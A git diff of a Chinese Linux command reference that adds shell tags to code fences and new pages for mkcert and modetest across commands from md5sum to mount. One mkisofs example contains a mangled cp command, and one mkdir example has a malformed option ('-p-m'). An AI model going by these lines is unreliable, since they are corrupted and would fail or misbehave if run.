检测的时候如果检测文件非法则输出信息的选项: -``` +```shell md5sum -w -c testfile.md5 ``` 输出之后,文件异常输出类似如下: -``` +```shell md5sum: testfile.md5: 1: improperly formatted MD5 checksum line md5sum: testfile.md5: no properly formatted MD5 checksum lines found ``` @@ -96,4 +96,4 @@ md5sum: testfile.md5: no properly formatted MD5 checksum lines found 这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么`-w`有没有都一样。 - + diff --git a/command/mesg.md b/command/mesg.md index f852a8f5a0f..57b132c5c43 100644 --- a/command/mesg.md +++ b/command/mesg.md @@ -1,28 +1,27 @@ mesg === - + 设置当前终端的写权限 ## 补充说明 **mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 -### 语法 +### 语法 -``` +```shell mesg(参数) ``` -### 参数 +### 参数 y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 -### 实例 +### 实例 -``` +```shell [root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 [root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。 ``` - \ No newline at end of file diff --git a/command/mii-tool.md b/command/mii-tool.md index 3956eb7c786..6b39d07ac2e 100644 --- a/command/mii-tool.md +++ b/command/mii-tool.md @@ -1,21 +1,21 @@ mii-tool === - + 配置网络设备协商方式的工具 ## 补充说明 **mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 -### 语法 +### 语法 -``` +```shell usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] ``` -### 选项 +### 选项 -``` +```shell -V 显示版本信息; -v 显示网络接口的信息; -R 重设MII到开启状态; @@ -29,11 +29,11 @@ media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,         (to advertise both HD and FD) 100baseTx, 10baseT ``` -### 实例 +### 实例 查看网络接口的协商状态: -``` +```shell [root@localhost ~]# mii-tool -v eth0 eth0: negotiated 100baseTx-FD, link ok   product info: vendor 00:50:ef, model 60 rev 8 @@ -52,7 +52,7 @@ eth0: negotiated 100baseTx-FD, link ok 如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢? -``` +```shell [root@localhost ~]# mii-tool -F 100baseTx-FD [root@localhost ~]# mii-tool -v eth0 eth0: 100 Mbit, full duplex, link ok @@ -65,9 +65,8 @@ eth0: 100 Mbit, full duplex, link ok 注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令: -``` +```shell [root@localhost ~]# ethtool -s eth0 speed 100 duplex full ``` - \ No newline at end of file diff --git a/command/mkbootdisk.md b/command/mkbootdisk.md index f82862bc0ce..5ed439e1c4b 100644 --- a/command/mkbootdisk.md +++ b/command/mkbootdisk.md @@ -1,21 +1,21 @@ mkbootdisk === - + 可建立目前系统的启动盘 ## 补充说明 **mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。 -### 语法 +### 语法 -``` +```shell mkbootdisk(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell --device<设备>:指定设备; --mkinitrdargs<参数>:设置mkinitrd的参数; --noprompt:不会提示用户插入磁盘; @@ -23,21 +23,20 @@ mkbootdisk(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 内核:指定内核版本。 -### 实例 +### 实例 -``` +```shell mkbootdisk --device /dev/fd0 `uname -r` ``` 其中,``uname -r``是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用: -``` +```shell mkbootdisk --device /dev/fd0 2.2.18 ``` - \ No newline at end of file diff --git a/command/mkcert.md b/command/mkcert.md new file mode 100644 index 00000000000..21901b22c1a --- /dev/null +++ b/command/mkcert.md @@ -0,0 +1,198 @@ +mkcert +=== + +用来生成自签证书的工具 + +## 示例 + +`mkcert` 是 GO 编写的,一个简单的**零配置**的用来生成自签证书的工具。 + +下面给一个简单的示例,在本地生成自签证书,并使用让 nc 使用生成的证书。 + +```zsh +~ ·········································································································································  10:46:25 +❯ mkcert -install +The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍 +~ ·········································································································································  10:46:34 +❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 + +Created a new certificate valid for the following names 📜 - "example.com" + - "*.example.com" + - "example.test" + - "localhost" + - "127.0.0.1" + - "::1" + +Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️ + +The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅ +It will expire on 30 January 2025 🗓 + +~ ·········································································································································  10:47:37 +❯ ls +公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar +模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src +~ ·········································································································································  10:47:55 +❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem +Ncat: Version 7.92 ( https://nmap.org/ncat ) +Ncat: Listening on :::1589 +Ncat: Listening on 0.0.0.0:1589 +Ncat: Connection from 127.0.0.1. +Ncat: Connection from 127.0.0.1:39156. +Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0) +``` + +`mkcert` 自动生成并安装一个本地 CA 到 root stores,并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器,不过,这取决于你。 + +## 安装 + +> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。 + +### macOS + +```bash +$ brew install mkcert +$ brew install nss # 如果用 Firefox 的话 +``` + +### Linux + +在 Linux 上,首先要安装 `certutil` + +```bash +$ sudo apt install libnss3-tools +# -or- +$ sudo yum install nss-tools +# -or- +$ sudo pacman -S nss +# -or- +$ sudo zypper install mozilla-nss-tools +``` + +然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 + +```bash +$ brew install mkcert +``` + +或者从源码构建(要求 Go 1.13+) + +```bash +git clone https://github.com/FiloSottile/mkcert && cd mkcert +go build -ldflags "-X main.Version=$(git describe --tags)" +``` + +又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +```bash +$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +$ chmod +x mkcert-v*-linux-amd64 +$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +``` + +对于 Arch Linux 用户(比如我),[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 + +```bash +$ sudo pacman -S mkcert +``` + +### Windows + +使用 [Chocolatey](https://chocolatey.org/) + +```bash +$ choco install mkcert +``` + +或者使用 Scoop + +```bash +$ scoop bucket add extras +$ scoop install mkcert +``` + +或者从源码构建(要求 Go 1.10+) ,或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +如果遇到权限问题,请使用管理员运行 `mkcert` + +## 支持的 root stores + +`mkcert` 支持以下 root stores: + +- macOS system store +- Windows system store +- Linux 发行版提供 + - `update-ca-trust` (Fedora,RHEL,CentOS)或者 + - `update-ca-certificates` (Ubuntu,Debian,OpenSUSE,SLES)或者 + - `trust` (Arch) +- Firefox (仅 macOS 和 Linux) +- Chrome 和 Chromium +- Java(当 `JAVA_HOME` 被设置时) + +为了把 local root CA 装到这些 root stores 中,你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项:"system","java" 和 "nss"(包括了 Firefox)。 + +## 高级 topics + +### 高级选项 + +```bash +-cert-file FILE, -key-file FILE, -p12-file FILE + # 自定义输出路径. +-client # 生成供客户端认证使用的证书. +-ecdsa # 生成使用一个 ECDSA (一种椭圆曲线签名算法)key 来生成证书. +-pkcs12 # 生成一个 ".p12" PKCS #12 文件,也可以被识别为 ".pfx" 文件, + # 包含 cert 和 key for legacy applications. +-csr CSR # 生成一个给予 CSR(证书签名申请) 的证书。 + # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突! +``` + +[SSL 证书 什么是CSR?-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) + +> **请注意!** 你必须把这些选项放在域名列表之前。 + +### 例如 + +```bash +mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com +``` + +### S/MIME (邮件安全证书) + +用下面这种方式 `mkcert` 会生成一个 S/MIME 证书: + +```bash +mkcert filippo@example.com +``` + +### 移动设备 + +对于要让移动设备信任证书的情况,你得安装 root CA。就是 `rootCA.pem` 这个文件,可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。 + +在 iOS 上,你也可以使用 AirDrop,把 CA 邮件发给你自己,或者通过一个 HTTP server 提供它。在打开它之后,你需要  [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。 + +对于 Android ,你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。 + +### 用 Node.js 来使用这个 root + +Node 不使用 system root store,所以它不会自动接受 `mkcert` 证书。相反,你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 + +```bash +export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" +``` + +### 改变 CA 文件的位置 + +CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置,因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。 + +如果你想要管理单独的 CA 们,你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。 + +### 在其它系统上安装 CA + +安装 trust store 不需要 CA key(只要 CA),所以你可以导出 CA,并且使用 `mkcert` 来安装到其它机器上。 + +- 找到 `rootCA.pem` 文件,可以用 `mkcert -CAROOT` 找到对应目录。 +- 把它 copy 到别的机器上。 +- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 +- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`,其它发行版可以用自带的命令手动添加来信任 CA) + +请千万记住 `mkcert` 是用于开发目的的,不建议用于生产,所以它不应该被用到用户终端上,并且你不应该导出或者共享 `rootCA-key.pem` 。 diff --git a/command/mkdir.md b/command/mkdir.md index 86f943d286c..7b6cd36db5a 100644 --- a/command/mkdir.md +++ b/command/mkdir.md @@ -1,6 +1,6 @@ mkdir === - + 用来创建目录 ## 补充说明 @@ -11,38 +11,60 @@ mkdir 在一个子目录中应包含类型相似或用途相近的文件。例如,应建立一个子目录,它包含所有的数据库文件,另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。 -### 语法 +### 语法 -``` +```shell mkdir (选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -Z:设置安全上下文,当使用SELinux时有效; -m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限; -p或--parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录; --version 显示版本信息。 ``` -### 参数 +### 参数 目录:指定要创建的目录列表,多个目录之间用空格隔开。 -### 实例 +### 实例 在目录`/usr/meng`下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问 -``` +```shell mkdir -m 700 /usr/meng/test ``` 在当前目录中建立bin和bin下的os_1目录,权限设置为文件主可读、写、执行,同组用户可读和执行,其他用户无权访问 -``` +```shell mkdir -p-m 750 bin/os_1 ``` +### 补充 + +-m :配置文件的权限 + + 如:755 + + 每个数字代表不同的权限集合,分别为: + + - 第一个数字`7`:所有者(user)的权限 + - 第二个数字`5`:所属组(group)的权限 + - 第三个数字`5`:其他用户(others)的权限 + + 每个数字是以下权限的组合: + - 读权限 (read) - 4 + - 写权限 (write) - 2 + - 执行权限 (execute) - 1 + + 因此,`755`的具体权限为: + + - `7`(所有者)= 4 (读) + 2 (写) + 1 (执行) = 7 + - `5`(所属组)= 4 (读) + 1 (执行) = 5 + - `5`(其他用户)= 4 (读) + 1 (执行) = 5 - \ No newline at end of file + diff --git a/command/mke2fs.md b/command/mke2fs.md index 80ffa2bc429..e626631af25 100644 --- a/command/mke2fs.md +++ b/command/mke2fs.md @@ -1,21 +1,21 @@ mke2fs === - + 创建磁盘分区上的“etc2/etc3”文件系统 ## 补充说明 **mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 -### 语法 +### 语法 -``` +```shell mke2fs(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b<区块大小>:指定区块大小,单位为字节; -c;检查是否有损坏的区块; -f<不连续区段大小>:指定不连续区段的大小,单位为字节; @@ -34,18 +34,17 @@ mke2fs(选项)(参数) -V:显示版本信息。 ``` -### 参数 +### 参数 * 设备文件:指定要创建的文件系统的分区设备文件名; * 块数:指定要创建的文件系统的磁盘块数量。 -### 实例 +### 实例 创建指定的ext2文件系统。 -``` +```shell mke2fs -q /dev/hda1 ``` - \ No newline at end of file diff --git a/command/mkfs.md b/command/mkfs.md index baf6878d1d7..43c7710ccf5 100644 --- a/command/mkfs.md +++ b/command/mkfs.md @@ -1,21 +1,21 @@ mkfs === - + 用于在设备上创建Linux文件系统 ## 补充说明 **mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。 -### 语法 +### 语法 -``` +```shell mkfs(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell fs:指定建立文件系统时的参数; -t<文件系统类型>:指定要建立何种文件系统; -v:显示版本信息与详细的使用方法; @@ -23,16 +23,16 @@ fs:指定建立文件系统时的参数; -c:在制做档案系统前,检查该partition是否有坏轨。 ``` -### 参数 +### 参数 * 文件系统:指定要创建的文件系统对应的设备文件名; * 块数:指定文件系统的磁盘块数。 -### 实例 +### 实例 在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来: -``` +```shell mkfs -V -t msdos -c /dev/hda5 mkfs -t ext3 /dev/sda6 //将sda6分区格式化为ext3格式 @@ -40,4 +40,3 @@ mkfs -t ext2 /dev/sda7 //将sda7分区格式化为ext2格式 ``` - \ No newline at end of file diff --git a/command/mkinitrd.md b/command/mkinitrd.md index a66f7131ed9..c225aa105b6 100644 --- a/command/mkinitrd.md +++ b/command/mkinitrd.md @@ -1,6 +1,6 @@ mkinitrd === - + 建立要载入ramdisk的映像文件 ## 补充说明 @@ -9,15 +9,15 @@ mkinitrd 这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去! -### 语法 +### 语法 -``` +```shell mkinitrd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件; -v:执行时显示详细的信息; --omit-scsi-modules:不要载入SCSI模块; @@ -26,14 +26,14 @@ mkinitrd(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 * 映像文件:指定要创建的映像文件; * 内核版本:指定内核版本。 -### 实例 +### 实例 -``` +```shell [root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r) Creating initramfs WARNING: using /tmp for temporary files @@ -60,4 +60,3 @@ myinitrd.img: ASCII cpio archive (SVR4 with no CRC) ``` - \ No newline at end of file diff --git a/command/mkisofs.md b/command/mkisofs.md index 5c984d0025a..e9751ea461c 100644 --- a/command/mkisofs.md +++ b/command/mkisofs.md @@ -1,21 +1,21 @@ mkisofs === - + 建立ISO 9660映像文件 ## 补充说明 **mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。 -### 语法 +### 语法 -``` +```shell mkisofs(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; -A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID; -abstract<摘要文件>:指定摘要文件的文件名; @@ -53,49 +53,48 @@ mkisofs(选项)(参数) -z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。 ``` -### 参数 +### 参数 路径:需要添加到映像文件中的路径。 -### 实例 +### 实例 linux中用mkisofs命令把文件制作成ISO步骤: 把NFS服务器上的目录挂载到本地/mnt/nfs/的目录: -``` +```shell mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/ ``` 把已挂载的文件复制到本地: -``` +```shell cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/& ``` 查找boot.cat文件并删除掉: -``` +```shell find rhel4.0/ -name boot.cat | xargs rm ``` 查找TRANS.TBL文件并删除掉: -``` +```shell find rhel4.0/ -name TRANS.TBL -exec rm {} \; ``` 复制本地的所需文件到指定目录: -``` +```shell cp /usr/share/comps/i386/.discinfo rhel4.0/ ``` 把指定目录下的所有文件制作成ISO文件: -``` +```shell mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/ ``` - \ No newline at end of file diff --git a/command/mknod.md b/command/mknod.md index b68d4a8a071..d057d241bbc 100644 --- a/command/mknod.md +++ b/command/mknod.md @@ -1,43 +1,43 @@ mknod === - + 创建字符设备文件和块设备文件 ## 补充说明 **mknod命令** 用于创建Linux中的字符设备文件和块设备文件。 -### 语法 +### 语法 -``` +```shell mknod(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -Z:设置安全的上下文; -m:设置权限模式; -help:显示帮助信息; --version:显示版本信息。 ``` -### 参数 +### 参数 * 文件名:要创建的设备文件名; * 类型:指定要创建的设备文件的类型; * 主设备号:指定设备文件的主设备号; * 次设备号:指定设备文件的次设备号。 -### 实例 +### 实例 -``` +```shell ls -la /dev/ttyUSB* crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0 mknod /dev/ttyUSB32 c 188 32 ``` -### 扩展知识 +### 扩展知识 Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。 @@ -48,4 +48,3 @@ Linux为所有的设备文件都提供了统一的操作函数接口,方法是 打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。 - \ No newline at end of file diff --git a/command/mkswap.md b/command/mkswap.md index ef3526a8c7a..4f3f5d02cb5 100644 --- a/command/mkswap.md +++ b/command/mkswap.md @@ -1,36 +1,36 @@ mkswap === - + 建立和设置SWAP交换分区 ## 补充说明 **mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。 -### 语法 +### 语法 -``` +```shell mkswap(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -c:建立交换区前,先检查是否有损坏的区块; -f:在SPARC电脑上建立交换区时,要加上此参数; -v0:建立旧式交换区,此为预设值; -v1:建立新式交换区。 ``` -### 参数 +### 参数 设备:指定交换空间对应的设备文件或者交换文件。 -### 实例 +### 实例 **查看系统swap space大小:** -``` +```shell free -m total used free shared buffers cached Mem: 377 180 197 0 19 110 @@ -40,7 +40,7 @@ Swap: 572 0 572 **查看当前的swap空间(file(s)/partition(s)):** -``` +```shell swapon -s 等价于 @@ -56,19 +56,19 @@ cat /proc/swaps 使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区: -``` +```shell mkswap /dev/sdb2 ``` 启用交换分区: -``` +```shell swapon /dev/sdb2 ``` 写入`/etc/fstab`,以便在引导时启用: -``` +```shell /dev/sdb2 swap swap defaults 0 0 ``` @@ -76,25 +76,25 @@ swapon /dev/sdb2 创建大小为512M的交换文件: -``` +```shell dd if=/dev/zero of=/swapfile1 bs=1024 count=524288 ``` 使用mkswap命令来设置交换文件: -``` +```shell mkswap /swapfile1 ``` 启用交换分区: -``` +```shell swapon /swapfile1 ``` 写入`/etc/fstab`,以便在引导时启用: -``` +```shell /swapfile1 swap swap defaults 0 0 ``` @@ -104,11 +104,10 @@ swapon /swapfile1 禁用交换分区: -``` +```shell swapoff /dev/sdb2 ``` 从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。 - \ No newline at end of file diff --git a/command/mktemp.md b/command/mktemp.md index 039b9ebcf5c..4fdf0d4c427 100644 --- a/command/mktemp.md +++ b/command/mktemp.md @@ -1,29 +1,28 @@ mktemp === - + 创建临时文件供shell脚本使用 ## 补充说明 **mktemp命令** 被用来创建临时文件供shell脚本使用。 -### 语法 +### 语法 -``` +```shell mktemp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -q:执行时若发生错误,不会显示任何信息; -u:暂存文件会在mktemp结束前先行删除; -d:创建一个目录而非文件。 ``` -### 参数 +### 参数 文件:指定创建的临时文件。 - \ No newline at end of file diff --git a/command/modetest.md b/command/modetest.md new file mode 100644 index 00000000000..2c14428a00c --- /dev/null +++ b/command/modetest.md @@ -0,0 +1,144 @@ +modetest +=== + +DRM/KMS驱动程序libdrm中的模式测试工具 + +## 补充说明 + +`modetest` 是一个用于测试和验证 DRM(Direct Rendering Manager)驱动程序功能的命令行工具。 + +### 安装 + +- **源码**:[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **下载**:[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) + +__编译__ + +```shell +./configure --prefix=/opt/ --host=aarch64-linux-gnu +make && make install +## 编译删除 +make distclean +``` + +__参考__:[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) + +### 语法 + +```shell +modetest [选项] +``` + +### 选项 + +```shell +# 查询选项 +-c 列出连接器 +-e 列出编码器 +-f 列出帧缓冲 +-p 列出 CRTCs 和平面 + +# 测试选项 +-P @:x[++][*][@] 设置一个平面 +-s [,][@]:[-][@] 设置一个显示模式 +-C 测试硬件光标 +-v 测试垂直同步页面翻转 +-w :: 设置属性 + +# 通用选项 +-a 启用原子模式设置 +-d 在模式设置后放弃主控权限 +-M 指定要使用的驱动程序模块 +-D 指定要使用的设 +``` + +### 参数 + +`` 驱动模块 + +- i915:Intel 集成显卡驱动模块 +- amdgpu:AMD Radeon 显卡驱动模块 +- radeon:旧版 AMD Radeon 显卡驱动模块 +- nouveau:NVIDIA 开源显卡驱动模块 +- vmwgfx:VMware 显卡驱动模块 +- omapdrm:TI OMAP 显卡驱动模块 +- exynos:三星 Exynos 显卡驱动模块 +- tilcdc:TI LCD 控制器显卡驱动模块 +- msm:Qualcomm MSM 显卡驱动模块 +- sti:STMicroelectronics 显卡驱动模块 +- tegra:NVIDIA Tegra 显卡驱动模块 +- imx-drm:Freescale i.MX 显卡驱动模块 +- rockchip:Rockchip 显卡驱动模块 + +### 实例 + +使用 `modetest` 查看相关信息 + +```shell +~# modetest +Encoders: # 省略了好多好多 +id crtc type possible crtcs possible clones +194 0 Virtual 0x0000000f 0x00000001 +196 88 TMDS 0x00000002 0x00000002 +210 0 DSI 0x00000004 0x00000004 +213 0 TMDS 0x00000001 0x00000008 + +Connectors: # 省略了好多好多 +id encoder status name size (mm) modes encoders +197 196 connected HDMI-A-1 530x300 10 196 + mode # 巴拉巴拉非常多的一大串 +211 210 connected DSI-1 184x114 1 210 +214 0 disconnected DP-1 0x0 0 213 + +CRTCs: # 省略了好多好多**** +id fb pos size +68 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +88 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +108 219 (0,0) (1200x1920) + 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type: +128 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: + +Planes: # 省略了好多好多 +id crtc fb CRTC x,y x,y gamma size possible crtcs +54 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +74 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +94 108 219 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY + +``` + +------ + +根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试 + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -v +freq: 59.90Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +``` + +在 `MIPI` 屏幕上将会看到闪烁的彩色块。 + +------ + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -C +setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 +starting cursor +``` + +在 `MIPI` 屏幕上将会看到静止的彩色块。 + + diff --git a/command/modprobe.md b/command/modprobe.md index 417e160396f..677ef204a81 100644 --- a/command/modprobe.md +++ b/command/modprobe.md @@ -9,15 +9,15 @@ modprobe modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。 -### 语法 +### 语法 -``` +```shell modprobe(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a或--all:载入全部的模块; -c或--show-conf:显示所有模块的设置信息; -d或--debug:使用排错模式; @@ -29,39 +29,39 @@ modprobe(选项)(参数) -help:显示帮助。 ``` -### 参数 +### 参数 模块名:要加载或移除的模块名称。 -### 实例 +### 实例 **查看modules的配置文件:** -``` +```shell modprobe -c ``` 这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下: -``` +```shell alias symbol:ip_conntrack_unregister_notifier ip_conntrack ``` **列出内核中所有已经或者未挂载的所有模块:** -``` +```shell modprobe -l ``` 这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实`modprobe -l`读取的模块列表就位于/lib/modules/\`uname -r \`目录中;其中`uname -r`是内核的版本,例如输出结果的其中一行是: -``` +```shell /lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko ``` **挂载vfat模块:** -``` +```shell modprobe vfat ``` @@ -69,11 +69,11 @@ modprobe vfat **移除已经加载的模块:** -``` +```shell modprobe -r 模块名 ``` 这里,移除已加载的模块,和rmmod功能相同。 - + diff --git a/command/more.md b/command/more.md index 85c1fcdc96e..f2b61f8b2f6 100644 --- a/command/more.md +++ b/command/more.md @@ -1,6 +1,6 @@ more === - + 显示文件内容,每次显示一屏 ## 补充说明 @@ -9,22 +9,22 @@ more 该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答: -* 按Space键:显示文本的下一屏内容。 -* 按Enier键:只显示文本的下一行内容。 +* 按 `Space` 键:显示文本的下一屏内容。 +* 按 `Enter` 键:只显示文本的下一行内容。 * 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。 * 按H键:显示帮助屏,该屏上有相关的帮助信息。 * 按B键:显示上一屏内容。 -* 按Q键:退出rnore命令。 +* 按Q键:退出more命令。 -### 语法 +### 语法 -``` +```shell more(语法)(参数) ``` -### 选项 +### 选项 -``` +```shell -<数字>:指定每屏显示的行数; -d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”; -c:不进行滚屏操作。每次刷新这个屏幕; @@ -33,23 +33,23 @@ more(语法)(参数) +<数字>:从指定数字的行开始显示。 ``` -### 参数 +### 参数 文件:指定分页显示内容的文件。 -### 实例 +### 实例 -显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。 +显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。 -``` +```shell more -dc file ``` 显示文件file的内容,每10行显示一次,而且在显示之前先清屏。 -``` +```shell more -c -10 file ``` - \ No newline at end of file + diff --git a/command/mount.md b/command/mount.md index 616557c8a4c..8e23f9a58a1 100644 --- a/command/mount.md +++ b/command/mount.md @@ -1,24 +1,26 @@ mount === -用于挂载Linux系统外的文件。 +用于挂载Linux系统外的文件 ## 补充说明 **mount命令** Linux 